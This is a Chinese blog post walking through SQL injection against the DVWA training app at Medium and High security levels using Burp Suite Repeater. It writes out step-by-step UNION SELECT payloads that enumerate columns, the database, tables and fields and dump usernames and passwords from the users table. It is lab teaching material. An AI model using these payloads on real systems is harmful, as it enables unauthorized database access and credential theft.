和前天的low级别注入一样,我们可以先打开源码进行理解和分析
可以看出加入了特殊函数来过滤特殊字符,且变量的单引号不见了,可以分析出有可能为数字型注入;
打开dvwa,可以看到无法输入sql语句进行注入;这时我们要用到Burp suite进行拦截包和sql注入;从而得到我们想要的数据,
此时打开burp suite ,进行拦截并且send to repeater,用repeater进行sql注入和运行 ;
打开repeater 可以看出运行界面和运行界面的源代码(源代码在raw中,我们为了更直观的看见输出结果一般直接利用Render)
继续按照前天的思路;
(1)先分析是字符型还是数字型注入
往id=1后加 ' 并运行
可以看出Medium级别把单引号已经过滤,可以得出结论字符型注入是不可行的
再次尝试数字型:
往id=1后加 and 1=1和 and1=2 并分别运行
1=1运行成功;1=2运行失败,可以得出结论为数字型注入;
这时我们开始进行SQL注入;语句和前天的语法一样,只是少了单引号;下面开始进行演示;
(一)猜解sql语句中的字段数
往id后加入1 order by 1 #
1 order by 2 #
1 order by 3 #
分别运行
可以得出数据库具有两列;
(二)确定显示位置
往id后插入1 union select 1,2 #
(三)获取当前数据库
插入1 union select 1,database () #
得出库名dvwa
(四)获取数据库中的表
插入1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
(五)找出我们感兴趣的表并获得字段名
插入1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
这时候我们发现运行错误因为'users'为字符型 无法在数字型里边进行注入;所以我们要利用一个转换工具(我用的小葵转换字典,可以自行下载,如果遇到问题可以私信我我发给你)把users转换成数字型,利用转换后的数字进行注入
(六)找出你感兴趣的字段名进行下载
插入1 union select user,password from users #
现在我们得到了想要的用户名和密码;
high级别
首先我们将dvwa设置为high级别并打开源代码进行分析和理解
我们可以分析得出这个high级别有可能为字符型,且无过滤语句,
现在打开SQL injection
可以发现输入界面和响应界面没有在一个页面;这是为了防止攻击者用工具进行SQL注入;一般工具会进行页面的分析,工具会发送请求然后得到应答请求,再进行请求,应答页面和请求页面为两个页面就导致工具无法在此页面得到请求应答,从而防止工具进行SQL注入。但是我们仍然可以进行手工注入;
high级别之后的做法和low级别是一样的,只是应答页面和请求页面不在一个页面而已;
在这里就不做简单演示了 流程和做法和low级别一模一样(可参考前天的博客)